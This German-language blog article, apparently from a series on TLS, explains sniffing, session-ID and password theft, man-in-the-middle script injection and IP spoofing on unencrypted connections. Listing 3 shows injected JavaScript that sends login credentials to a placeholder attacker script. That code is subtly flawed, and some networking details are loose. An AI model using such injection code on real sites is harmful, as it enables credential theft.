Angreifer, die die Netzwerkkommunikation im Internet oder einem lokalen Netzwerk beobachten, können verschiedene Beweggründe haben. In einfacheren Fällen, sind die Angreifer auf der Suche nach relevanten Informationen in den, über das Netzwerk übertragenen Datenströmen. Relevante Daten könnten beispielsweise Login-Informationen wie Benutzername-Passwort-Kombinationen sein, aber auch andere Informationen wie Browser-Header, die Aufschluss über den verwendeten Browser und das Betriebssystem eines Nutzers geben, können für Angreifer relevant sein, wenn diese einen Angriff auf den Nutzer planen.

Bei fortgeschrittenen Angriffen manipulieren Angreifer die Verbindung zwischen dem Nutzer und einer Webseite, mit dem Ziel, Schadcode in die Verbindung einzuschleusen, Inhalte zu zensieren, oder eine aktuelle Sitzung zu übernehmen. Letzteres bezeichnet man auch als Session Hijacking.

Es gibt, wie sich dank Edward Snowdens Enthüllungen herausgestellt hat, einige äußerst mächtige Angreifer im Internet, die sowohl Daten in großem Stil von Nutzern ausspähen, als auch Verbindungen von Nutzern gezielt manipulieren, um Schadcode auf dem Rechner eines Nutzers zu installieren. Das wohl fortschrittlichste Programm, das von der National Security Agency (NSA) und den britischen Gouvernment Communications Headquarters (GCHQ) betrieben wird, ist unter dem Namen Quantum Theory Hacking bekannt[1]. Die Geheimdienste nutzen dabei hauptsächlich sogenannte Protocol Injection Techniken, bei denen die unverschlüsselt übermittelten Daten manipuliert werden.

1 Paketanalyse mit Network-Sniffern

Angreifer, die sich irgendwo zwischen zwei Kommunikationspartnern befinden, können, falls die Kommunikation unverschlüsselt stattfindet, alle übertragenen Daten mitlesen. Dabei ist es keineswegs erforderlich, dass Angreifer die Datenleitungen, über die die Daten übertragen werden, anzapfen[2], sondern es genügt im Allgemeinen, die Kontrolle über einen einzigen Knotenpunkt zu haben, über den die Kommunikation abgewickelt wird[3].

Dort kann der Angreifer die Netzwerkpakete, die über diesen Knotenpunkt abgewickelt, man spricht hier auch von Routing, dementsprechend kann man den Knotenpunkt als Router bezeichnen, werden, aufzeichnen, bevor er sie an die richtige Stelle weiterleitet. Manchmal genügt es auch, sich im gleichen Teilnetz wie der Nutzer, den man belauschen möchte, zu befinden, nämlich immer dann, wenn Netzwerkverkehr nicht geroutet wird, das heißt, ganz gezielt und exklusiv an einen bestimmten Rechner zugestellt wird, sondern die Kommunikation mithilfe von Broadcasting-Nachrichten, also mithilfe von Nachrichten, die an alle direkt verbundenen Rechner zugestellt werden (siehe Abbildung 1), gewährleistet wird. Das ist häufig der Fall, wenn Hubs oder Switches eingesetzt werden. Derartige Infrastrukturen findet man nicht nur in Firmen oder Universitäten, sondern auch die meisten privaten Internetanschlüsse sind auf diesem Weg mit dem nächstgelegenen Knotenpunkt verbunden.

 

Figure 1_Eine Netzwerkinfrastruktur bei der Nachrichten von allen angeschlossenen rechnern gelesen werden können

Abbildung 1: Eine Netzwerkinfrastruktur bei der Nachrichten von allen angeschlossenen Rechnern gelesen werden können

 

Die wohl bekannteste API, mit der alle ein- und ausgehenden Netzwerkpakete auf einem Rechner aufgezeichnet werden können – man nennt diesen Vorgang auch Network Capturing – ist wohl libpcap, eine für Windows- und Unix-Systeme verfügbare Bibliothek.

Mithilfe von libpcap sind populäre Netzwerk Paketanalyse-Tools wie tcpdump oder wireshark implementiert, die sowohl Angreifer, aber auch Sie selbst nutzen können, um den Netzwerkverkehr auf einem Rechner aufzuzeichnen und zu analysieren.

1.1 Das OSI-Referenzmodell und die Netzwerkkommunikation im Internet

Um zu verstehen, wie das Abhören von Netzwerkpaketen funktioniert, ist ein rudimentäres Verständnis von Netzwerkkommunikation nötig. Aber keine Angst, wir werden hier nur die absolut notwendigen Grundlagen betrachten.

Die Kommunikation in einem Netzwerk, wie dem Internet, wird durch verschiedene Netzwerkprotokolle geregelt. Dabei wirken meist mehrere Protokolle zusammen und übernehmen jeweils eine ganz bestimmte Aufgabe. Im Internet kommuniziert man in aller Regel über Protokolle der TCP/IP Familie. Webseiten werden dabei meist mithilfe des Hypertext Transfer Protocols (HTTP) übertragen.

Es gibt ein besonders wichtiges Referenzmodell, das den Aufbau eines Netzwerkes in verschiedene Schichten unterteilt, von denen jede eine ganz bestimmte Aufgabe übernimmt: Das Open Systems Interconnection (OSI) Referenzmodell. Dieses besteht aus insgesamt sieben verschiedenen Schichten (siehe Abbildung 2):

  • Die physikalische Schicht (oft auch Bitübertragungsschicht genannt) übernimmt die Aufgabe, Daten tatsächlich über ein Medium zu transportieren. Sie beschäftigt sich mit der elektrischen und physikalischen Übertragung der Daten.
  • Die Sicherungsschicht übernimmt die Aufgabe die fehlerfreie Übertragung von Daten zu gewährleisten. Sie verwendet dazu in aller Regel sogenannte Prüfsummen.
  • Die Vermittlungsschicht ist dafür zuständig, über das Netzwerk versendete Pakete an den richtigen Adressaten zuzustellen. Ihr gehört das bekannte Internet Protocol (IP) an, das es ermöglicht, einen Rechner anhand einer IP-Adresse zu adressieren.
  • Die Transportschicht hat die Aufgabe, den Transport von Nutzdaten von einem Kommunikationspartner zum anderen Kommunikationspartner zu gewährleisten. Dabei trägt sie vor allem sorge dafür, dass keine Daten verloren gehen. Das populäre Transmission Control Protocol (TCP) gehört dieser Schicht an. Im Kontext von TLS ist diese Schicht besonders interessant, da das Transport Layer Security Protokoll die Daten auf dieser Ebene verschlüsselt.
  • Die Sitzungsschicht soll Sorge dafür tragen, dass eine eine Sitzung zwischen zwei Kommunikationspartnern aufrechterhalten wird. Sie ist im Rahmen der Internet Kommunikation jedoch relativ uninteressant.
  • Die Darstellungsschicht kümmert sich um die Plattformunabhängige Darstellung von Daten, die zwischen zwei Kommunikationspartnern übertragen werden. Das bedeutet, dass diese Schicht die sogenannte Kodierung und meist auch die Kompression von Daten festlegt. Unter Kodierung versteht man die Art und Weise wie zum Beispiel Buchstaben als eine Folge von Bits repräsentiert werden. Kompression ist dafür zuständig, den Platzbedarf von Daten zu minimieren.
  • Die Anwendungsschicht schließlich stellt die für eine Anwendung relevanten Informationen zur Verfügung

Abbildund 2 Das OSI Referenzmodell.

Abbildung 2: Das OSI Referenzmodell

 

Man kann sich die Kommunikation über ein Netzwerk nun folgendermaßen vorstellen: Zunächst nimmt man die Daten, die über das Netzwerk übertragen werden sollen und verpackt sie in ein Paket, das dem Protokoll der Anwendungsschicht entsprechend, aufgebaut ist. Dieses Paket verpackt man anschließend in ein Paket der Darstellungsschicht, jenes wiederum in ein Paket der Sitzungsschicht, und so weiter, bis man bei der Bitübertragungsschicht angelangt ist. Man hat am Ende als eine Reihe von verschachtelten Paketen, wie etwa eine russische Matrjoschka Puppe.

In der Praxis werden einige Schichten des OSI-Referenzmodells üblicherweise zusammengefasst. So deckt das HTTP Protokol beispielsweise die Sitzungsschicht, die Darstellungsschicht und die Anwendungsschicht ab. Wir betrachten im folgenden HTTP Pakete, die über das TCP Protokoll (Transportschicht) versendet werden. Das TCP Protokoll wiederum bedient sich des IP-Protokolls (Vermittlungsschicht), um Daten zuzustellen. Alle Ebenen darunter wollen wir der Einfachheit halber ignorieren.

Ein Paket, dass von einem Nutzer zum Server einer Webseite übertragen wird, und umgekehrt, sieht also aus wie in Abbildung 3.

Abbildung 3: Kapselung eines HTTP Netzwerkpakets.

Abbildung 3: Kapselung eines HTTP Netzwerkpakets

 

In dieser Form wird das Paket von einem Knotenpunkt im Internet zum nächsten weitergereicht, bis es am Ziel ankommt. Leider kann jeder Knotenpunkt, der das Paket auf seinem Weg vom Sender zum Empfänger weiterreicht, das Paket öffnen und dessen Inhalt betrachten. Das wollen wir nun in der Praxis betrachten.

1.2 Packet Sniffing

Mithilfe der bereits erwähnten Programme tcpdump und Wireshark lässt sich der Netzwerkverkehr an einem Knotenpunkt aufzeichnen. Sie können diese Programm auch auf Ihrem eigenen Rechner ausführen, um alle Pakete, die an Ihrem Rechner ankommen, und die diesen verlassen, aufzuzeichnen. Natürlich sollten Sie das nicht regelmäßig tun, außer Sie möchten sich selbst ausspionieren und es einem Angreifer möglichst einfach machen, Ihre Daten zu stehlen.

Wir wollen hier vor allem mithilfe des Programms Wireshark arbeiten, weil dieses eine grafische Oberfläche bietet, die den meisten Nutzern wohl ein wenig entgegenkommt.

Nach dem Start von Wireshark können Sie ein Capturing starten, indem Sie zunächst ein sogenanntes Interface, also die Schnittstelle Ihres Computers, an der gelauscht werden soll, auswählen, und anschließend auf den Start Button klicken. Anschließend werden Ihnen in sequenzieller Reihenfollge alle ein- und ausgehenden Pakete Ihres Rechners aufgelistet. Da wir uns nur für unverschlüsselte HTTP-Pakete interessieren, definieren wir zunächst einen Filter (’http’), mit dem wir die angezeigten Pakete auf HTTP-Pakete einschränken. Wireshark übernimmt dabei bereits das entpacken der Pakete und entfernt die um die HTTP-Pakete herumliegenden IP und TCP Pakete (siehe Abbildung 4).

Abbildung 4 Die von Wireshark aufgezeichneten HTTP Pakete in sequenzieller Reihenfolge.

Abbildung 4: Die von Wireshark aufgezeichneten HTTP Pakete in sequenzieller Reihenfolge

 

Indem Sie eines der Pakete auswählen und öffnen, können Sie einen genaueren Blick auf die übermittelten Daten werfen. Hier können Sie sehen, welche Daten an den Server und an alle potenziellen Angreifer übermittelt wurden. In diesem Fall wurde eine Verbindung mit der Domain webhacking.de hergestellt (siehe Abbildung 5). Eine Information, die für einen Angreifer von besonderem Interesse sein dürfte, sehen Sie in Zeile 2. Die unter dem Titel User-Agent übertragene Zeichenkette gibt einem Beobachter Aufschluss über Browser und Betriebssystem eines Nutzers, in diesem Fall Firefox in der Version 37.0 unter einem 64 bit Linux Betriebssystem. Vor allem dann, wenn ein Angreifer einen Angriff auf den Rechner eines Nutzers plant, sind diese Informationen besonders wertvoll, denn aus ihnen lässt sich ablesen, welche Schwachstellen dem Angreifer zur Verfügung stehen könnten.

Abbildung 5: Detailansicht eines von Wireshark aufgezeichneten HTTP-Pakets inklusive User-Agent.

Abbildung 5: Detailansicht eines von Wireshark aufgezeichneten HTTP-Pakets inklusive User-Agent

 

Doch Angreifer können nicht nur Informationen über das Betriebssystem eines Nutzers und damit wertvolle Informationen in der Vorbereitungsphase eines Angriffs ermitteln. Sobald Sie Passwörter über eine unverschlüsselte Verbindung übertragen, kann ein Angreifer auch diese mitlesen. Außerdem ist es Angreifern möglich, die Sitzungsnummern einer mithilfe von Cookies aufrechterhaltenen Sitzung zu stehlen. Dass in Kombination mit TCP Sessions noch weitaus umfangreichere Angriffe auf die Verbindung eines Nutzers zum Server gefahren werden können, werden Sie im Abschnitt 3 sehen.

1.2.1 Session IDs

Da das HTTP Protokoll ein zustandsloses Protokoll ist, das bedeutet insbesondere, dass mit dem HTTP-Protokoll keine einfachen Sitzungen möglich sind, bei denen ein Zustand, wie zum Beispiel ein eingeloggter Benutzer, gespeichert werden kann, bedarf es für Webseiten, die Nutzern einen Login-Bereich anbieten, Abhilfe, schließlich wäre es unzumutbar, wenn der Nutzer bei jedem erneuten Seitenaufruf sein Passwort erneut eingeben müsste.

Zu diesem Zweck wird beim Login eines Nutzers auf dem Server meist eine zufällige und meist auch nur für eine bestimmte Zeit gültige Sitzungsnummer (Session ID) erzeugt und auf dem Rechner des Nutzers in einem sogenannten Cookie gespeichert (siehe Abbildung 6). Cookies werden bei jeder Anfrage des Nutzers an die Webseite mit übertragen. Indem dr Server also die in dem Cookie gespeicherte Sitzungsnummer mit dem entsprechenden Nutzer verknüpft, kann diese Sitzungsnummer für eine beschränkte Zeit als Zugangsschlüssel zum Benutzeraccount des Nutzers verwendet werden. Der Vorteil davon, nicht jedes Mal das Passwort zu übertragen liegt auf der Hand: Eine Sitzungsnummer kann bei jedem Login neu erzeugt werden, sodass ein Angreifer, der diese Sitzungsnummer erbeutet, nur für eine beschränkte Zeitspanne Zugriff auf das Konto des Nutzers hat.

Abbildung 6: Ein Cookie mit einer Sitzungsnummer, das vom Server auf dem Rechner des Nutzers gesetzt wird

Abbildung 6: Ein Cookie mit einer Sitzungsnummer, das vom Server auf dem Rechner des Nutzers gesetzt wird

 

Trotzdem ist die unverschlüsselte Übertragung einer Sitzungsnummer bedenklich, denn wenn ein Angreifer diese Sitzungsnummer abhört, bleiben ihm im besten Fall einige Minuten, im schlechtesten Fall mehrere Tage oder Wochen Zeit, um sich mithilfe dieser Sitzungsnummer in das Benutzerkonto seines Opfers einzuloggen und dort Schaden anzurichten.

Ein Angreifer, der die Sitzungsnummer aus dem in Abbildung 6 dargestellten HTTP-Paket abgehört hat, kann die Session ID nun in seinen eigenen Browser übertragen, oder mithilfe eines Programms wie curl den entsprechenden Cookie Header von Hand setzen. Anschließend hat er Zugriff auf die gleichen Daten, die auch sein Opfer sehen und bearbeiten kann.

1.2.2 Passwörter

Noch schlimmer als die unverschlüsselte Übertragung einer Session ID ist selbstverständlich die unverschlüsselte Übertragung eines Passwortes. Ein Angreifer kann auch dieses Passwort im Klartext mitlesen. Im Gegensatz zum Diebstahl einer Session ID hat ein Angreifer mit einem Passwort einen zeitlich weitestgehend unbeschränkten Zugriff auf das Konto eines Nutzers.

2 Datenmanipulation

Nicht nur das passive Beobachten von über das Netzwerk übertragenen Netzwerkpaketen ist bei unverschlüsselten Verbindungen möglich. Auch eine Reihe fortgeschrittener Angriffe, bei denen der Angreifer zum Beispiel Schadcode in eine Verbindung einschleusen kann, oder diese mithilfe sogennantem TCP-Session Hijacking übernehmen kann, sind möglich. Damit kann sich ein Angreifer je nach Wunsch entweder als Client oder als Server ausgeben, mit allen daraus resultierenden Konsequenzen.

Betrachten wir zunächst ein einfaches Beispiel, bei dem ein Angreifer Schadcode in die Verbindung zwischen Client und Server einschleusen kann. Die Idee eines derartigen Angriffes beruht darauf, dass ein Knotenpunkt, der ein Paket weiterleiten soll, grundsätzlich auch in der Lage dazu ist, dieses Paket durch ein beliebiges anderes Paket zu ersetzen, oder einfach zusätzliche Daten an dieses Paket anzuhängen.

Angenommen ein Nutzer würde eine Webseite aufrufen, die regulär die in Listing 2 definierte Seite zurückliefert.

<!DOCTYPE html>
<html>
<head>
<title>original page</title>
</head>
<body>
<h1>Login</h1>
<form action=“https://original-server.de“ method=“POST“>
<input type=“text“ name=“user_name“ placeholder=“User“ /><br />
<input type=“password“ name=“user_password“ placeholder=“Password“ /><br />
<input type=“submit“ name=“login“ value=“Login“ />
</form>
</body>
</html>

Listing 1: Der vom Server generierte HTML Code

 

Wenn ein Angreifer nun einen der Knotenpunkte kontrolliert, den das zugehörige HTTP-Paket (siehe Listing 2) passiert, ist er in der Lage dazu, den Quellcode zu ändern und eigene Inhalte in die Kommunikation zwischen Client und Server einzuschleusen. So könnte er beispielsweise Schadcode einschleusen, der einen Virus auf dem Rechner des Nutzers installiert, oder ihn auf eine Webseite mit dort enthaltenem Schadcode weiterleitet.

HTTP/1.1 200 OK
Date: Mon, 20 Apr 2015 15:46:47 GMT
Server: Apache/1.3.3.7 (Unix) (Red-Hat/Linux)
Last-Modified: Sun, 19 Apr 2015 10:46:31 GMT
E-Tag: „238f5-83c-28fe2e80″
Content-Type: text/html; charset=UTF-8
Content-Length: 445
Connection: close

<!DOCTYPE html>
<html>
<head>
<title>original page</title>
</head>
<body>
<h1>Login</h1>
<form action=“https://original-server.de“ method=“POST“>
<input type=“text“ name=“user_name“ placeholder=“User“ /><br />
<input type=“password“ name=“user_password“ placeholder=“Password“ /><br />
<input type=“submit“ name=“login“ value=“Login“ />
</form>
</body>
</html>

Listing 2: Das vom Server versendete HTTP Paket

 

Betrachten wir den Quellcode der in Listing 2 dargestellten Seite einmal mit den Augen eines Angreifers, so stellen wir fest, dass die Formulardaten über eine sichere Verbindung übertragen werden. Wir sind also nicht in der Lage dazu, die übertragenen Login-Daten mitzuhöhren, zumindest nicht ohne die genutzte Verschlüsselung zu brechen.

Allerdings sind wir in der Lage dazu, die Originalseite zu bearbeiten, schließlich sitzen wir zwischen dem Nutzer und dem Webserver und haben die Möglichkeit, das Paket zu manipulieren. Folgende Möglichkeiten bieten sich dabei besonders an:

  • In der Hoffnung, dass auf Seiten des Servers keine Software läuft, die derartige Angriffe erkennt, ändern wir das Protokoll und sorgen damit dafür, dass der Nutzer seine Login Daten unverschlüsselt überträgt.
  • Mithilfe von JavaScript, das wir in das gesendete Paket einschleusen, übertragen wir bei einem Klick des Nutzers auf Login die Formulardaten zusätzlich an einen eigenen Server. Dieser Angriff kann auf dem Server nicht festgestellt werden. Allerdings könnte der Nutzer in der Lage dazu sein, diesen Angriff zu bemerken.

Wir wollen vor allem die JavaScript Code-Injection Attacke näher betrachten:

Mithilfe der AJAX Technologie lassen sich mithilfe von JavaScript Daten zwischen einer bereits geladenen Webseite und einem Webserver austauschen. Als Angreifer können Sie diese Technologie dazu nutzen, um die Formulardaten an Ihren eigenen Webserver zu übertragen. Dazu müssen Sie nur wenige Zeilen JavaScript Code in die Webseite injizieren und eine kleine Modifikation am Formularelement der Webseite vornehmen (siehe Listing 2).

<!DOCTYPE html>
<html>
<head>
<title>original page</title>
<script type=“text/javascript“>
function doTheft()
{
formular = document.forms[0];
request = new XMLHttpRequest();
request.open(„get“, „attack-scripts.resource/path/pwscript.php?user=“ + formular.elements[„user_name“] + „&pwd=“+formular.elements[„user_password“], false);
request.send();
}
</script>
</head>
<body>
<h1>Login</h1>
<form action=“https://original-server.de“ method=“POST“ onsubmit=“doTheft()“>
<input type=“text“ name=“user_name“ placeholder=“User“ /><br />
<input type=“password“ name=“user_password“ placeholder=“Password“ /><br />
<input type=“submit“ name=“login“ value=“Login“ />
</form>
</body>
</html>

Listing 3: Der vom Angreifer manipulierte HTML Code der Seite

Der injezierte JavaScript-Codeschnipsel sorgt nun dafür, dass die vom Nutzer eingegebenen Login-Daten, bevor diese an den Webserver übertragen werden, zunächst an einen vom Angreifer spezifizierten Server gesendet werden. Der Angreifer ist also in der Lage dazu, die Login Daten des Nutzers mitzulesen und sich später mit eben jenen Daten selbst, im Namen des Nutzers, auf dem Webserver zu authentifizieren.

3 Spoofing-Attacken

Neben der Manipulation von Daten ist es einem Angreifer auch möglich, die Identität eines Webservers anzunehmen, wenn die Verbindung zwischen Client und Server unverschlüsselt zustande kommt. Man nennt derartige Attacken auch sogenannte Spoofing-Attacken. Auch wenn wir in diesem Kontext ausschließlich sogenanntes IP-Spoofing betrachten wollen, soll das nicht darüber hinwegtäuschen, dass es viele andere Arten von Spoofing-Attacken gibt. Vor allem das sogenannte DNS-Spoofing ist im Webumfeld ebenfalls sehr populär.

Beim IP-Spoofing antwortet ein Angreifer in aller Regel auf eine, an einen Webserver gesendete Anfrage schneller, als das eigentliche Ziel der Anfrage. Das kann man sich vorstellen wie in Abbildung 7.

Abbildung 7: Funktionsweise und zeitlicher Verlauf einer IP-Spoofing Attacke

Abbildung 7: Funktionsweise und zeitlicher Verlauf einer IP-Spoofing Attacke

 

Die Antwort des tatsächlichen Webservers wird dabei also verworfen, weil sie später beim Nutzer eintrifft, als die Antwort des Angreifers. Wenngleich grundsätzlich auch verschlüsselte Verbindungen für Spoofing-Attacken anfällig sein können, haben es Angreifer hier in aller Regel wesentlich schwerer. Unverschlüsselte Verbindungen dagegen sind äußerst anfällig für jede Form von Spoofing Attacken, da die Integrität der übertragenen Daten hier nicht mithilfe kryptografischer Mechanismen sichergestellt wird. Die NSA macht beispielsweise im Rahmen ihres Quantumtheory Hacking Programms intensiven Gebrauch von IP-Spoofing [siehe [1]].

 

[1] The NSA and GCHQ’s Quantum Theory Hacking Tactics, https://firstlook.org/theintercept/document/2014/03/12/nsa-gchqs-quantumtheory-hacking-tactics/

[2] Die NSA und die GCHQ zapfen teilweise trotzdem große Überseekabel an, um dort Daten im großen Stil abzugreifen

[3] Manuel Ziegler: Blogserie TLS – Folge 2: Der Aufbau des Internets, http://update.hanser-fachbuch.de/2015/03/blogserie-tls-folge-2-der-aufbau-des-internets/